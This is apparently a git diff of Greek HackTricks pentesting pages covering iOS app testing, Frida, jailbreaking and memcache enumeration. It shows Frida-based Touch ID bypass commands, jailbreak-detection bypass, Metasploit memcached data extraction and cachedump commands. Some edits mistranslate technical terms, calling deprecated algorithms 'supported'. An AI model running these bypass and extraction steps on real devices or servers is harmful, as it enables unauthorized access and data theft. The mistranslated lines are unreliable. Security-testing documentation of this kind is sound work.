σε `Library/Keyboard/{locale}-dynamic-text.dat` ή `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Αυτά τα αρχεία κρυφής μνήμης θα πρέπει να ελέγχονται τακτικά για ευαίσθητα δεδομένα. Συνιστάται η επαναφορά του λεξικού πληκτρολογίου μέσω **Ρυθμίσεις > Γενικά > Επαναφορά > Επαναφορά Λεξικού Πληκτρολογίου** για την εκκαθάριση των αποθηκευμένων δεδομένων. +- Να είστε προσεκτικοί με τις δυνατότητες αυτόματης διόρθωσης και αυτόματων προτάσεων του προεπιλεγμένου πληκτρολογίου iOS, οι οποίες θα μπορούσαν να αποθηκεύσουν ευαίσθητες πληροφορίες σε αρχεία κρυφής μνήμης που βρίσκονται στο `Library/Keyboard/{locale}-dynamic-text.dat` ή `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Αυτά τα αρχεία κρυφής μνήμης θα πρέπει να ελέγχονται τακτικά για ευαίσθητα δεδομένα. Συνιστάται η επαναφορά του λεξικού πληκτρολογίου μέσω **Ρυθμίσεις > Γενικά > Επαναφορά > Επαναφορά Λεξικού Πληκτρολογίου** για την εκκαθάριση των αποθηκευμένων δεδομένων. - Η παρεμβολή της δικτυακής κίνησης μπορεί να αποκαλύψει εάν ένα προσαρμοσμένο πληκτρολόγιο μεταδίδει πλήκτρα απομακρυσμένα. ### **Πρόληψη Κρυφής Μνήμης Πεδίου Κειμένου** @@ -642,7 +646,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ### Κίνδυνοι Ασφαλείας -Η συμπερίληψη των **εγκατεστημένων εφαρμογών και των δεδομένων τους** στα αντίγραφα ασφαλείας εγείρει το ζήτημα της πιθανής **διαρροής δεδομένων** και του κινδύνου ότι **οι τροποποιήσεις των αντιγράφων ασφαλείας θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής**. Συνιστάται να **μην αποθηκεύετε ευαίσθητες πληροφορίες σε απλό κείμενο** μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή στους υποκαταλόγους της για να μετριαστούν αυτοί οι κίνδυνοι. +Η συμπερίληψη **εγκατεστημένων εφαρμογών και των δεδομένων τους** στα αντίγραφα ασφαλείας εγείρει το ζήτημα της πιθανής **διαρροής δεδομένων** και του κινδύνου ότι **οι τροποποιήσεις των αντιγράφων ασφαλείας θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής**. Συνιστάται να **μην αποθηκεύετε ευαίσθητες πληροφορίες σε απλό κείμενο** μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή στους υποκαταλόγους της για να μετριαστούν αυτοί οι κίνδυνοι. ### Εξαίρεση Αρχείων από Αντίγραφα Ασφαλείας @@ -673,7 +677,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ## Περίληψη σχετικά με τη Δοκιμή Μνήμης για Ευαίσθητα Δεδομένα -Όταν ασχολείστε με ευαίσθητες πληροφορίες που αποθηκεύονται στη μνήμη μιας εφαρμογής, είναι κρίσιμο να περιορίσετε τον χρόνο έκθεσης αυτών των δεδομένων. Υπάρχουν δύο κύριες προσεγγίσεις για την έρευνα του περιεχομένου της μνήμης: **δημιουργία ενός dump μνήμης** και **ανάλυση της μνήμης σε πραγματικό χρόνο**. Και οι δύο μέθοδοι έχουν τις προκλήσεις τους, συμπεριλαμβανομένου του ενδεχόμενου να χάσετε κρίσιμα δεδομένα κατά τη διάρκεια της διαδικασίας dump ή ανάλυσης. +Όταν ασχολείστε με ευαίσθητες πληροφορίες που αποθηκεύονται στη μνήμη μιας εφαρμογής, είναι κρίσιμο να περιορίσετε τον χρόνο έκθεσης αυτών των δεδομένων. Υπάρχουν δύο κύριες προσεγγίσεις για την εξέταση του περιεχομένου της μνήμης: **δημιουργία ενός dump μνήμης** και **ανάλυση της μνήμης σε πραγματικό χρόνο**. Και οι δύο μέθοδοι έχουν τις προκλήσεις τους, συμπεριλαμβανομένου του ενδεχόμενου να χάσετε κρίσιμα δεδομένα κατά τη διάρκεια της διαδικασίας dump ή ανάλυσης. ## **Ανάκτηση και Ανάλυση ενός Dump Μνήμης** @@ -704,11 +708,11 @@ $ r2 frida://usb// ### Κακές Διαδικασίες Διαχείρισης Κλειδιών -Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται, καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες. +Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες. -### Χρήση Ανασφαλών και/ή Καταργημένων Αλγορίθμων +### Χρήση Ανασφαλών και/ή Υποστηριγμένων Αλγορίθμων -Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **καταργημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, να **αποθηκεύουν** ή να **στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt. +Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριγμένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν **hashes** χρησιμοποιούνται για την αποθήκευση κωδικών πρόσβασης για παράδειγμα, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt. ### Έλεγχος @@ -724,15 +728,15 @@ ios monitor crypt Η **τοπική αυθεντικοποίηση** παίζει κρίσιμο ρόλο, ειδικά όταν αφορά την προστασία της πρόσβασης σε ένα απομακρυσμένο σημείο μέσω κρυπτογραφικών μεθόδων. Η ουσία εδώ είναι ότι χωρίς σωστή υλοποίηση, οι μηχανισμοί τοπικής αυθεντικοποίησης μπορούν να παρακαμφθούν. -Το [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρές APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα. +Το [**πλαίσιο Τοπικής Αυθεντικοποίησης**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρές APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα. Για την ενσωμάτωση του Touch ID/Face ID, οι προγραμματιστές έχουν δύο επιλογές API: - **`LocalAuthentication.framework`** για αυθεντικοποίηση χρηστών υψηλού επιπέδου χωρίς πρόσβαση σε βιομετρικά δεδομένα. -- **`Security.framework`** για πρόσβαση σε υπηρεσίες keychain χαμηλού επιπέδου, ασφαλίζοντας μυστικά δεδομένα με βιομετρική αυθεντικοποίηση. Διάφοροι [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) διευκολύνουν την πρόσβαση στο keychain. +- **`Security.framework`** για πρόσβαση σε υπηρεσίες keychain χαμηλού επιπέδου, ασφαλίζοντας μυστικά δεδομένα με βιομετρική αυθεντικοποίηση. Διάφοροι [ανοιχτού κώδικα περιτυλίκτες](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) διευκολύνουν την πρόσβαση στο keychain. > [!CAUTION] -> Ωστόσο, τόσο το `LocalAuthentication.framework` όσο και το `Security.framework` παρουσιάζουν ευπάθειες, καθώς επιστρέφουν κυρίως boolean τιμές χωρίς να μεταδίδουν δεδομένα για τις διαδικασίες αυθεντικοποίησης, καθιστώντας τα ευάλωτα σε παράκαμψη (ανατρέξτε στο [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +> Ωστόσο, τόσο το `LocalAuthentication.framework` όσο και το `Security.framework` παρουσιάζουν ευπάθειες, καθώς επιστρέφουν κυρίως boolean τιμές χωρίς να μεταδίδουν δεδομένα για διαδικασίες αυθεντικοποίησης, καθιστώντας τα ευάλωτα σε παράκαμψη (ανατρέξτε στο [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). ### Υλοποίηση Τοπικής Αυθεντικοποίησης @@ -885,7 +889,7 @@ $ otool -L .app/ /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/Security.framework/Security ``` -Αν χρησιμοποιείται το `Security.framework`, μόνο το δεύτερο θα εμφανιστεί. +Αν χρησιμοποιείται το `Security.framework`, μόνο το δεύτερο θα εμφανίζεται. ### Παράκαμψη Πλαισίου Τοπικής Αυθεντικοποίησης @@ -962,55 +966,63 @@ console.log("Objective-C Runtime is not available!"); ```bash frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js ``` -## Ευαίσθητη Έκθεση Λειτουργιών Μέσω IPC +## Ευαίσθητη Έκθεση Λειτουργικότητας Μέσω IPC ### Προσαρμοσμένοι URI Διαχειριστές / Deeplinks / Προσαρμοσμένα Σχήματα + {{#ref}} ios-custom-uri-handlers-deeplinks-custom-schemes.md {{#endref}} ### Καθολικοί Σύνδεσμοι + {{#ref}} ios-universal-links.md {{#endref}} ### Κοινοποίηση UIActivity + {{#ref}} ios-uiactivity-sharing.md {{#endref}} ### UIPasteboard + {{#ref}} ios-uipasteboard.md {{#endref}} ### Επεκτάσεις Εφαρμογών + {{#ref}} ios-app-extensions.md {{#endref}} ### WebViews + {{#ref}} ios-webviews.md {{#endref}} ### Σειριοποίηση και Κωδικοποίηση + {{#ref}} ios-serialisation-and-encoding.md {{#endref}} -## Δικτυακή Επικοινωνία +## Επικοινωνία Δικτύου -Είναι σημαντικό να ελέγξετε ότι δεν υπάρχει επικοινωνία **χωρίς κρυπτογράφηση** και επίσης ότι η εφαρμογή **επικυρώνει σωστά το πιστοποιητικό TLS** του διακομιστή.\ +Είναι σημαντικό να ελέγξετε ότι δεν πραγματοποιείται καμία επικοινωνία **χωρίς κρυπτογράφηση** και επίσης ότι η εφαρμογή **επικυρώνει σωστά το πιστοποιητικό TLS** του διακομιστή.\ Για να ελέγξετε αυτά τα ζητήματα μπορείτε να χρησιμοποιήσετε έναν proxy όπως το **Burp**: + {{#ref}} burp-configuration-for-ios.md {{#endref}} @@ -1036,7 +1048,7 @@ burp-configuration-for-ios.md - Μέσα στον φάκελο μιας εγκατεστημένης εφαρμογής (**`/User/Applications//`**) μπορείτε να βρείτε μερικά ενδιαφέροντα αρχεία: - **`iTunesArtwork`**: Το εικονίδιο που χρησιμοποιείται από την εφαρμογή - **`iTunesMetadata.plist`**: Πληροφορίες της εφαρμογής που χρησιμοποιούνται στο App Store -- **`/Library/*`**: Περιέχει τις προτιμήσεις και την προσωρινή μνήμη. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το στιγμιότυπο που πραγματοποιήθηκε στην εφαρμογή πριν την στείλετε στο παρασκήνιο. +- **`/Library/*`**: Περιέχει τις προτιμήσεις και την cache. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το snapshot που πραγματοποιήθηκε στην εφαρμογή πριν την αποστολή της στο παρασκήνιο. ### Hot Patching/Επιβεβλημένη Ενημέρωση @@ -1058,6 +1070,7 @@ otool -L ``` ## Ενδιαφέροντα Ευπάθειες & Μελέτες Περίπτωσης + {{#ref}} air-keyboard-remote-input-injection.md {{#endref}} @@ -1090,4 +1103,5 @@ air-keyboard-remote-input-injection.md - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index ec37eb80a..e17bfe9fe 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -29,7 +29,7 @@ pip install frida-tools pip install frida ``` -Με τον διακομιστή Frida εγκατεστημένο και τη συσκευή να λειτουργεί και συνδεδεμένη, **ελέγξτε** αν ο πελάτης είναι **λειτουργικός**: +Με τον διακομιστή Frida εγκατεστημένο και τη συσκευή να λειτουργεί και συνδεδεμένη, **έλεγξε** αν ο πελάτης είναι **λειτουργικός**: ```bash frida-ls-devices # List devices frida-ps -Uia # Get running processes @@ -135,7 +135,7 @@ console.log("loaded") ### Frida Stalker -[Από την τεκμηρίωση](https://frida.re/docs/stalker/): Ο Stalker είναι η **μηχανή ιχνηλάτησης** του Frida. Επιτρέπει στους νήματα να **παρακολουθούνται**, **καταγράφοντας** κάθε συνάρτηση, **κάθε μπλοκ**, ακόμη και κάθε εντολή που εκτελείται. +[Από τα έγγραφα](https://frida.re/docs/stalker/): Ο Stalker είναι η **μηχανή ιχνηλάτησης** του Frida. Επιτρέπει στους νήματα να **παρακολουθούνται**, **καταγράφοντας** κάθε συνάρτηση, **κάθε μπλοκ**, ακόμη και κάθε εντολή που εκτελείται. Έχετε ένα παράδειγμα που υλοποιεί τον Frida Stalker στο [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) @@ -178,7 +178,7 @@ Stalker.flush() // this is important to get all events }) ``` > [!CAUTION] -> Αυτό είναι ενδιαφέρον από άποψη αποσφαλμάτωσης, αλλά για fuzzing, το να είστε συνεχώς **`.follow()`** και **`.unfollow()`** είναι πολύ αναποτελεσματικό. +> Αυτό είναι ενδιαφέρον από την άποψη της αποσφαλμάτωσης, αλλά για το fuzzing, το να είσαι συνεχώς **`.follow()`** και **`.unfollow()`** είναι πολύ αναποτελεσματικό. ## [Fpicker](https://github.com/ttdennis/fpicker) @@ -290,7 +290,7 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example # You can find code coverage and crashes in examples/wg-log/out/ ``` > [!CAUTION] -> Σε αυτή την περίπτωση **δεν επανεκκινούμε την εφαρμογή ή δεν επαναφέρουμε την κατάσταση** μετά από κάθε payload. Έτσι, αν η Frida βρει μια **κατάρρευση**, οι **επόμενες εισόδους** μετά από αυτό το payload μπορεί επίσης να **καταρρεύσουν την εφαρμογή** (επειδή η εφαρμογή είναι σε ασταθή κατάσταση) ακόμη και αν η **είσοδος δεν θα έπρεπε να καταρρεύσει** την εφαρμογή. +> Σε αυτή την περίπτωση **δεν επανεκκινούμε την εφαρμογή ή δεν αποκαθιστούμε την κατάσταση** μετά από κάθε payload. Έτσι, αν η Frida βρει μια **κατάρρευση**, οι **επόμενες εισόδους** μετά από αυτό το payload μπορεί επίσης να **καταρρεύσουν την εφαρμογή** (επειδή η εφαρμογή είναι σε ασταθή κατάσταση) ακόμη και αν η **είσοδος δεν θα έπρεπε να καταρρεύσει** την εφαρμογή. > > Επιπλέον, η Frida θα συνδεθεί στα σήματα εξαιρέσεων του iOS, οπότε όταν **η Frida βρει μια κατάρρευση**, πιθανώς **δεν θα παραχθούν αναφορές κατάρρευσης iOS**. > @@ -330,6 +330,7 @@ killall -9 logd ## Frida Android Tutorials + {{#ref}} ../android-app-pentesting/frida-tutorial/ {{#endref}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index 8cb0448f3..db8a0c4b9 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -15,7 +15,7 @@ ## **Simulator** -> [!NOTE] +> [!TIP] > Σημειώστε ότι ένας **simulator δεν είναι το ίδιο με έναν emulator**. Ο simulator απλώς προσομοιώνει τη συμπεριφορά της συσκευής και τις λειτουργίες αλλά δεν τις χρησιμοποιεί πραγματικά. ### **Simulator** @@ -29,7 +29,7 @@ Τα αρχεία του simulator μπορούν να βρεθούν στο `/Users//Library/Developer/CoreSimulator/Devices` Για να ανοίξετε τον simulator, εκτελέστε το Xcode, στη συνέχεια πατήστε στην _καρτέλα Xcode_ --> _Open Developer tools_ --> _Simulator_\ -\_\_Στην παρακάτω εικόνα, κάνοντας κλικ στο "iPod touch \[...\]" μπορείτε να επιλέξετε άλλη συσκευή για δοκιμή: +\_\_Στην παρακάτω εικόνα κάνοντας κλικ στο "iPod touch \[...]" μπορείτε να επιλέξετε άλλη συσκευή για δοκιμή: ![](<../../images/image (270).png>) @@ -37,7 +37,7 @@ ### Applications in the Simulator -Μέσα στο `/Users//Library/Developer/CoreSimulator/Devices` μπορείτε να βρείτε όλους τους **εγκατεστημένους simulators**. Εάν θέλετε να αποκτήσετε πρόσβαση στα αρχεία μιας εφαρμογής που δημιουργήθηκε μέσα σε έναν από τους emulators, μπορεί να είναι δύσκολο να γνωρίζετε **σε ποιον είναι εγκατεστημένη η εφαρμογή**. Ένας γρήγορος τρόπος για να **βρείτε το σωστό UID** είναι να εκτελέσετε την εφαρμογή στον simulator και να εκτελέσετε: +Μέσα στο `/Users//Library/Developer/CoreSimulator/Devices` μπορείτε να βρείτε όλους τους **εγκατεστημένους simulators**. Αν θέλετε να αποκτήσετε πρόσβαση στα αρχεία μιας εφαρμογής που έχει δημιουργηθεί μέσα σε έναν από τους emulators, μπορεί να είναι δύσκολο να γνωρίζετε **σε ποιον είναι εγκατεστημένη η εφαρμογή**. Ένας γρήγορος τρόπος για να **βρείτε το σωστό UID** είναι να εκτελέσετε την εφαρμογή στον simulator και να εκτελέσετε: ```bash xcrun simctl list | grep Booted iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) @@ -56,15 +56,16 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) Δείτε αυτήν την ανάρτηση στο blog σχετικά με το πώς να κάνετε pentest σε μια εφαρμογή iOS σε μια **μη jailbroken συσκευή**: + {{#ref}} ios-pentesting-without-jailbreak.md {{#endref}} ## Jailbreaking -Η Apple απαιτεί αυστηρά ότι ο κώδικας που εκτελείται στο iPhone πρέπει να είναι **υπογεγραμμένος από ένα πιστοποιητικό που εκδίδεται από την Apple**. **Jailbreaking** είναι η διαδικασία της ενεργής **παράκαμψης τέτοιων περιορισμών** και άλλων ελέγχων ασφαλείας που έχουν τεθεί από το λειτουργικό σύστημα. Επομένως, μόλις η συσκευή είναι jailbroken, ο **έλεγχος ακεραιότητας** που είναι υπεύθυνος για τον έλεγχο των εφαρμογών που εγκαθίστανται είναι διορθωμένος, έτσι ώστε να **παρακαμπτείται**. +Η Apple απαιτεί αυστηρά ότι ο κώδικας που εκτελείται στο iPhone πρέπει να είναι **υπογεγραμμένος από ένα πιστοποιητικό που εκδίδεται από την Apple**. **Jailbreaking** είναι η διαδικασία της ενεργής **παράκαμψης τέτοιων περιορισμών** και άλλων ελέγχων ασφαλείας που έχουν τεθεί από το λειτουργικό σύστημα. Επομένως, μόλις η συσκευή είναι jailbroken, ο **έλεγχος ακεραιότητας** που είναι υπεύθυνος για τον έλεγχο των εφαρμογών που εγκαθίστανται είναι διορθωμένος ώστε να **παρακαμπτείται**. -> [!NOTE] +> [!TIP] > Σε αντίθεση με το Android, **δεν μπορείτε να αλλάξετε σε "Developer Mode"** στο iOS για να εκτελέσετε μη υπογεγραμμένο/μη αξιόπιστο κώδικα στη συσκευή. ### Android Rooting vs. iOS Jailbreaking @@ -75,9 +76,9 @@ ios-pentesting-without-jailbreak.md ### Jailbreaking Challenges -Το jailbreaking iOS είναι ολοένα και πιο δύσκολο καθώς η Apple διορθώνει γρήγορα τις ευπάθειες. **Η υποβάθμιση του iOS** είναι δυνατή μόνο για περιορισμένο χρονικό διάστημα μετά από μια κυκλοφορία, καθιστώντας το jailbreaking μια ευαίσθητη χρονικά υπόθεση. Οι συσκευές που χρησιμοποιούνται για δοκιμές ασφαλείας δεν πρέπει να ενημερώνονται εκτός αν η επανα- jailbreaking είναι εγγυημένη. +Το jailbreaking iOS γίνεται ολοένα και πιο δύσκολο καθώς η Apple διορθώνει γρήγορα τις ευπάθειες. **Η υποβάθμιση του iOS** είναι δυνατή μόνο για περιορισμένο χρονικό διάστημα μετά από μια κυκλοφορία, καθιστώντας το jailbreaking θέμα ευαίσθητου χρόνου. Οι συσκευές που χρησιμοποιούνται για δοκιμές ασφαλείας δεν πρέπει να ενημερώνονται εκτός αν διασφαλίζεται η επαναφορά του jailbreaking. -Οι ενημερώσεις iOS ελέγχονται από έναν **μηχανισμό πρόκλησης-απάντησης** (SHSH blobs), επιτρέποντας την εγκατάσταση μόνο για απαντήσεις υπογεγραμμένες από την Apple. Αυτός ο μηχανισμός, γνωστός ως "παράθυρο υπογραφής", περιορίζει την ικανότητα αποθήκευσης και μετέπειτα χρήσης OTA firmware πακέτων. Ο ιστότοπος [IPSW Downloads](https://ipsw.me) είναι μια πηγή για τον έλεγχο των τρεχουσών παραθύρων υπογραφής. +Οι ενημερώσεις iOS ελέγχονται από έναν **μηχανισμό πρόκλησης-απάντησης** (SHSH blobs), επιτρέποντας την εγκατάσταση μόνο για απαντήσεις υπογεγραμμένες από την Apple. Αυτός ο μηχανισμός, γνωστός ως "παράθυρο υπογραφής", περιορίζει την ικανότητα αποθήκευσης και μετέπειτα χρήσης πακέτων firmware OTA. Ο ιστότοπος [IPSW Downloads](https://ipsw.me) είναι μια πηγή για τον έλεγχο των τρεχουσών παραθύρων υπογραφής. ### Jailbreak Varieties @@ -98,10 +99,11 @@ ios-pentesting-without-jailbreak.md ### Jailbreaking Benefits and Risks -Το jailbreaking **αφαιρεί την sandboxing που επιβάλλεται από το OS**, επιτρέποντας στις εφαρμογές να έχουν πρόσβαση σε ολόκληρο το σύστημα αρχείων. Αυτή η ελευθερία επιτρέπει την εγκατάσταση μη εγκεκριμένων εφαρμογών και την πρόσβαση σε περισσότερες APIs. Ωστόσο, για τους κανονικούς χρήστες, το jailbreaking **δεν συνιστάται** λόγω πιθανών κινδύνων ασφαλείας και αστάθειας της συσκευής. +Το jailbreaking **αφαιρεί την sandboxing που επιβάλλεται από το OS**, επιτρέποντας στις εφαρμογές να έχουν πρόσβαση στο σύνολο του συστήματος αρχείων. Αυτή η ελευθερία επιτρέπει την εγκατάσταση μη εγκεκριμένων εφαρμογών και την πρόσβαση σε περισσότερες APIs. Ωστόσο, για τους κανονικούς χρήστες, το jailbreaking **δεν συνιστάται** λόγω πιθανών κινδύνων ασφαλείας και αστάθειας της συσκευής. ### **After Jailbreaking** + {{#ref}} basic-ios-testing-operations.md {{#endref}} @@ -123,7 +125,7 @@ basic-ios-testing-operations.md ## **Jailbreak Detection Bypass** - Μπορείτε να προσπαθήσετε να αποφύγετε αυτές τις ανιχνεύσεις χρησιμοποιώντας το **objection's** `ios jailbreak disable` -- Μπορείτε επίσης να εγκαταστήσετε το εργαλείο **Liberty Lite** (https://ryleyangus.com/repo/). Μόλις προστεθεί το repo, η εφαρμογή θα πρέπει να εμφανίζεται στην καρτέλα ‘Search’ +- Μπορείτε επίσης να εγκαταστήσετε το εργαλείο **Liberty Lite** (https://ryleyangus.com/repo/). Μόλις προστεθεί το repo, η εφαρμογή θα πρέπει να εμφανίζεται στην καρτέλα ‘Αναζήτηση’ ## References diff --git a/src/network-services-pentesting/11211-memcache/README.md b/src/network-services-pentesting/11211-memcache/README.md index a00bdc12d..b7b41d0f5 100644 --- a/src/network-services-pentesting/11211-memcache/README.md +++ b/src/network-services-pentesting/11211-memcache/README.md @@ -15,9 +15,9 @@ PORT STATE SERVICE 11211/tcp open unknown ``` -## Αριθμητική +## Enumeration -### Χειροκίνητη +### Manual Για να εξάγετε όλες τις πληροφορίες που είναι αποθηκευμένες μέσα σε μια μνήμη memcache, πρέπει να: @@ -51,19 +51,19 @@ nmap -n -sV --script memcached-info -p 11211 #Just gather info msf > use auxiliary/gather/memcached_extractor #Extracts saved data msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible ``` -## **Εξαγωγή Κλειδιών Memcache** +## **Dumping Memcache Keys** Στον τομέα του memcache, ένα πρωτόκολλο που βοηθά στην οργάνωση των δεδομένων κατά slabs, υπάρχουν συγκεκριμένες εντολές για την επιθεώρηση των αποθηκευμένων δεδομένων, αν και με σημαντικούς περιορισμούς: -1. Τα κλειδιά μπορούν να εξάγονται μόνο κατά slab class, ομαδοποιώντας κλειδιά παρόμοιου μεγέθους περιεχομένου. +1. Οι κωδικοί μπορούν να απορριφθούν μόνο κατά slab class, ομαδοποιώντας κωδικούς παρόμοιου μεγέθους περιεχομένου. 2. Υπάρχει περιορισμός μίας σελίδας ανά slab class, που ισοδυναμεί με 1MB δεδομένων. 3. Αυτή η δυνατότητα είναι ανεπίσημη και μπορεί να καταργηθεί οποιαδήποτε στιγμή, όπως συζητείται σε [community forums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM). -Ο περιορισμός της εξαγωγής μόνο 1MB από δυνητικά γιγαμπάτ δεδομένων είναι ιδιαίτερα σημαντικός. Ωστόσο, αυτή η λειτουργικότητα μπορεί να προσφέρει πληροφορίες σχετικά με τα πρότυπα χρήσης κλειδιών, ανάλογα με τις συγκεκριμένες ανάγκες. Για εκείνους που δεν ενδιαφέρονται τόσο για τη μηχανική, μια επίσκεψη στην [tools section](https://lzone.de/cheat-sheet/memcached#tools) αποκαλύπτει εργαλεία για εκτενή εξαγωγή. Εναλλακτικά, η διαδικασία χρήσης telnet για άμεση αλληλεπίδραση με τις ρυθμίσεις memcached περιγράφεται παρακάτω. +Ο περιορισμός του να μπορεί κανείς να απορρίψει μόνο 1MB από δυνητικά γιγαμπάιτ δεδομένων είναι ιδιαίτερα σημαντικός. Ωστόσο, αυτή η λειτουργικότητα μπορεί να προσφέρει ακόμα πληροφορίες σχετικά με τα πρότυπα χρήσης κωδικών, ανάλογα με τις συγκεκριμένες ανάγκες. Για εκείνους που δεν ενδιαφέρονται τόσο για τη μηχανική, μια επίσκεψη στην [tools section](https://lzone.de/cheat-sheet/memcached#tools) αποκαλύπτει εργαλεία για εκτενή απόρριψη. Εναλλακτικά, η διαδικασία χρήσης telnet για άμεση αλληλεπίδραση με τις ρυθμίσεις του memcached περιγράφεται παρακάτω. -### **Πώς Λειτουργεί** +### **How it Works** -Η οργάνωση μνήμης του memcache είναι καθοριστική. Η εκκίνηση του memcache με την επιλογή "-vv" αποκαλύπτει τις slab classes που δημιουργεί, όπως φαίνεται παρακάτω: +Η οργάνωση μνήμης του memcache είναι καθοριστική. Ξεκινώντας το memcache με την επιλογή "-vv" αποκαλύπτει τις slab classes που δημιουργεί, όπως φαίνεται παρακάτω: ```bash $ memcached -vv slab class 1: chunk size 96 perslab 10922 @@ -99,7 +99,7 @@ stats items ```bash stats cachedump ``` -Για παράδειγμα, για να εξάγετε ένα κλειδί στην κατηγορία #1: +Για παράδειγμα, για να εξάγετε ένα κλειδί στην κλάση #1: ```bash stats cachedump 1 1000 ITEM mykey [1 b; 1350677968 s] @@ -107,25 +107,25 @@ END ``` Αυτή η μέθοδος επαναλαμβάνει τις κλάσεις slab, εξάγοντας και προαιρετικά εκ dumping τις τιμές κλειδιών. -### **ΕΚΤΥΠΩΣΗ ΚΛΕΙΔΙΩΝ MEMCACHE (VER 1.4.31+)** +### **ΕΚΔΟΣΗ ΚΛΕΙΔΙΩΝ MEMCACHE (VER 1.4.31+)** -Με την έκδοση memcache 1.4.31 και άνω, εισάγεται μια νέα, ασφαλέστερη μέθοδος για την εκτύπωση κλειδιών σε ένα παραγωγικό περιβάλλον, χρησιμοποιώντας μη αποκλειστική λειτουργία όπως αναφέρεται στις [σημειώσεις έκδοσης](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Αυτή η προσέγγιση παράγει εκτενή έξοδο, γι' αυτό συνιστάται η χρήση της εντολής 'nc' για αποδοτικότητα. Παραδείγματα περιλαμβάνουν: +Με την έκδοση memcache 1.4.31 και άνω, εισάγεται μια νέα, ασφαλέστερη μέθοδος για την εκ dumping κλειδιών σε ένα παραγωγικό περιβάλλον, χρησιμοποιώντας μη αποκλειστική λειτουργία όπως αναλύεται στις [σημειώσεις έκδοσης](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Αυτή η προσέγγιση παράγει εκτενή έξοδο, γι' αυτό συνιστάται η χρήση της εντολής 'nc' για 